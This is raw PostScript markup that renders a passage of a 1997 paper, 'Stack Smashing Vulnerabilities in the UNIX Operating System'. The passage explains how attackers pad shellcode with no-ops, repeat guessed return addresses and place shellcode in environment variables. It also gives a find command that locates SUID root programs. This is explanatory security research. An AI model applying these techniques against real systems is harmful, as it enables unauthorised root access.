SET_CMYK GS n 4014 6247 M (a ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4131 6247 M (full ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4405 6247 M (example ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5012 6247 M (of ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5194 6247 M (a ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5311 6247 M (stack ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5696 6247 M (smashing ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6368 6247 M (sequence. ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7105 6247 M (If ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7260 6247 M (this ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 5971 M (code ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1569 5971 M (were ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1938 5971 M (compiled, ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2644 5971 M (and ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2929 5971 M (configured ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3695 5971 M (with ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4035 5971 M (SUID ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4469 5971 M (root ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4782 5971 M (permissions, ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5665 5971 M (and ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5950 5971 M (made ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6356 5971 M (world ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6789 5971 M (executable ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 5695 M (on ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1416 5695 M (a ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1540 5695 M (UNIX ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2006 5695 M (system, ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2561 5695 M (it ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2703 5695 M (would ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3168 5695 M (return ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3616 5695 M (an ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3823 5695 M (interactive, ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4617 5695 M (privileged ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5341 5695 M (shell ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5705 5695 M (for ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5950 5695 M (any ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6240 5695 M (user ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6568 5695 M (on ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6784 5695 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7037 5695 M (system ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 5419 M (who ran the resulting binary. ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p140000 SETFONT GS n 1200 5118 M (9.1 Creative stack smashing) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p120000 SETFONT GS n 1700 4835 M (Example ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2347 4835 M (9.b ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2607 4835 M (is ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2770 4835 M (not ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3034 4835 M (a ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3160 4835 M (typical ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3664 4835 M (stack ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4058 4835 M (smashing ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4739 4835 M (sequence. ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5485 4835 M (SUID ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5926 4835 M (root ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6246 4835 M (programs ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6928 4835 M (included ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 4559 M (in ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1385 4559 M (UNIX ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1846 4559 M (distributions ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2722 4559 M (are ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2971 4559 M (not ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3228 4559 M (precompiled ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4105 4559 M (with ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4445 4559 M (``shell ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4916 4559 M (c) ST -10 0 MR (o) ST -10 0 MR (d) ST -10 0 MR (e) ST -11 0 MR (') ST -11 0 MR (' ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5335 4559 M (as ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5519 4559 M (part ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5823 4559 M (of ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6007 4559 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6255 4559 M (binary. ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6809 4559 M (To ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7039 4559 M (exploit ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 4283 M (these ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1620 4283 M (type ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1975 4283 M (of ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2183 4283 M (programs, ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2924 4283 M (some ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3345 4283 M (means ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3840 4283 M (must ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4233 4283 M (be ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4459 4283 M (used ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4833 4283 M (to ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5031 4283 M (insert ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5470 4283 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont5p100000 SETFONT GS n 5742 4283 M (shellcode) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p120000 SETFONT GS n 6489 4283 M ( ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6558 4283 M (array ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6970 4283 M (into ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7297 4283 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 4007 M (runtime environment. Stack smashers have devised creative ways to accomplish th\ is.) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1700 3731 M (In ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1938 3731 M (order ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2381 3731 M (to ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2601 3731 M (inject ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3061 3731 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3355 3731 M (shell ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3760 3731 M (code ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4165 3731 M (into ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4514 3731 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4808 3731 M (runtime ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5417 3731 M (process, ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6050 3731 M (stack ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6483 3731 M (smashers ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7186 3731 M (have ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 3455 M (manipulated ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2113 3455 M (command ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2853 3455 M (line ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3185 3455 M (arguments, ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4004 3455 M (shell ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4401 3455 M (environment ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5325 3455 M (variables, ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6051 3455 M (and ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6374 3455 M (interactive ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7159 3455 M (input ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 3179 M (functions ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1877 3179 M (with ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2224 3179 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2479 3179 M (necessary ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3179 3179 M (shell ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3545 3179 M (code ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3911 3179 M (sequence. ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4657 3179 M (Not ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4958 3179 M (only ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5305 3179 M (do ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5523 3179 M (most ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5899 3179 M (stack ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6293 3179 M (smashing ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6974 3179 M (exploits ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 2903 M (rely ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1511 2903 M (upon ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1888 2903 M (shell ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2247 2903 M (code ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2606 2903 M (to ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2780 2903 M (accomplish ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3583 2903 M (their ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3933 2903 M (task, ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4288 2903 M (but ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4545 2903 M (these ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4932 2903 M (type ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5263 2903 M (of ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5447 2903 M (exploits ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6018 2903 M (depend ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6543 2903 M (on ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6754 2903 M (knowing ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7380 2903 M (at ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 2627 M (what ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1602 2627 M (address ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2171 2627 M (in ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2369 2627 M (memory ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2994 2627 M (this ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3303 2627 M (shell ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3686 2627 M (code ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4069 2627 M (will ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4396 2627 M (reside. ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4947 2627 M (Taking ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5487 2627 M (this ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5796 2627 M (into ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6123 2627 M (consideration, ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7130 2627 M (many ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 2351 M (stack ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1606 2351 M (smashers ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2270 2351 M (have ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2636 2351 M (padded ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3168 2351 M (their ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3525 2351 M (shell ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3891 2351 M (code ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4257 2351 M (with ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4604 2351 M (NULL ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5100 2351 M (\(or ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5347 2351 M (no-op\) ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5843 2351 M (assembly ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6515 2351 M (operations ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7260 2351 M (this ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 2075 M (gives ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1609 2075 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1868 2075 M (shell ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2238 2075 M (code ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2608 2075 M (a ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2738 2075 M (`wider ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3229 2075 M (s) ST -5 0 MR (p) ST -5 0 MR (a) ST -5 0 MR (c) ST -5 0 MR (e) ST -6 0 MR (' ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3685 2075 M (in ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3870 2075 M (memory ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4482 2075 M (and ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4778 2075 M (makes ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5260 2075 M (it ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5408 2075 M (easier ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5853 2075 M (to ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6038 2075 M (guess ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6464 2075 M (where ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6927 2075 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7186 2075 M (shell ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 1799 M (code ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1601 1799 M (may ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1973 1799 M (be ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2215 1799 M (when ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2660 1799 M (manipulating ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3622 1799 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3910 1799 M (return ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4393 1799 M (address. ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5062 1799 M (This ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5485 1799 M (approach, ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6222 1799 M (combined ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6963 1799 M (with ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7343 1799 M (an ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 1523 M (approach ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1899 1523 M (whereby ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2555 1523 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2841 1523 M (shell ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3238 1523 M (code ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3635 1523 M (is ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3829 1523 M (followed ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4503 1523 M (by ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4752 1523 M (many ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5205 1523 M (instances ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5898 1523 M (of ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6120 1523 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6406 1523 M (`) ST -3 0 MR (g) ST -3 0 MR (u) ST -3 0 MR (e) ST -3 0 MR (s) ST -3 0 MR (s) ST -3 0 MR (e) ST -4 0 MR (d) ST -4 0 MR (' ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7102 1523 M (return ) ST GR %%PageTrailer AXPageSave restore showpage %%Page: 20 20 %%BeginPageSetup save /AXPageSave exch def DOSETUP %%EndPageSetup 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p100000 SETFONT GS n 1200 1426 M (11) 138 X GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1338 1385 M ( Complete listing is available in Appendix B) 2477 X GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 1271 M (12) 138 X GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1338 1230 M ( This specific machine has 67, however an `out of the box' distribution may have\ slightly more or less) 5675 X GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 1644 M (_________________________) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont1p100000 SETFONT GS n 1200 10624 M (Stack Smashing Vulnerabilities in the UNIX Operating System) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6811 10624 M (Page 9) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p100000 SETFONT GS n 3998 284 M (May 7, 1997) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p120000 SETFONT GS n 1200 9848 M (address ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1762 9848 M (in ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1947 9848 M (memory; ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2605 9848 M (is ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2772 9848 M (a ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2902 9848 M (common ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3541 9848 M (strategy ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4124 9848 M (used ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4485 9848 M (in ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4670 9848 M (constructing ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5548 9848 M (stack ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5946 9848 M (smashing ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6631 9848 M (exploits. ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7297 9848 M (An ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 9572 M (additional ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1917 9572 M (approach, ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2620 9572 M (when ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3031 9572 M (small ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3443 9572 M (programs ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4124 9572 M (with ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4470 9572 M (memory ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5077 9572 M (restrictions ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5868 9572 M (are ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6123 9572 M (exploited, ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6834 9572 M (is ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6996 9572 M (to ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7176 9572 M (store ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 9296 M (the shellcode in an environment variable. ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p140000 SETFONT GS n 1200 8752 M (10. SUID root programs by distribution) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p120000 SETFONT GS n 1700 8469 M (In ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1892 8469 M (order ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2291 8469 M (to ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2467 8469 M (search ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2940 8469 M (standard ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3551 8469 M (UNIX ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4014 8469 M (distributions ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4892 8469 M (for ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5134 8469 M (SUID ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5570 8469 M (root ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5885 8469 M (programs, ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6604 8469 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6854 8469 M (following ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 8193 M (command can be executed by the privileged user:) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont5p100000 SETFONT GS n 2399 7959 M (/usr/bin/find / -user root -perm -004000 -print) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p120000 SETFONT GS n 1200 7702 M (This ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1561 7702 M (command ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2278 7702 M (is ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2449 7702 M (a ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2583 7702 M (system-wide ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3485 7702 M (search ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3971 7702 M (command ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4688 7702 M (for ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4943 7702 M (SUID ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5392 7702 M (root ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5720 7702 M (files; ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6113 7702 M (which, ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6621 7702 M (as ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6820 7702 M (described, ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 7426 M (are ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1464 7426 M (crucial ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1965 7426 M (in ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2142 7426 M (constructing ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3012 7426 M (stack ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3402 7426 M (smashing ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4079 7426 M (exploits. ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4737 7426 M (Using ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5182 7426 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5433 7426 M (above ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5878 7426 M (command ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6583 7426 M (as ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6770 7426 M (a ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6892 7426 M (test ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7171 7426 M (case, ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 7150 M (working ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1843 7150 M (installations ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2729 7150 M (of ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2951 7150 M (two ) ST 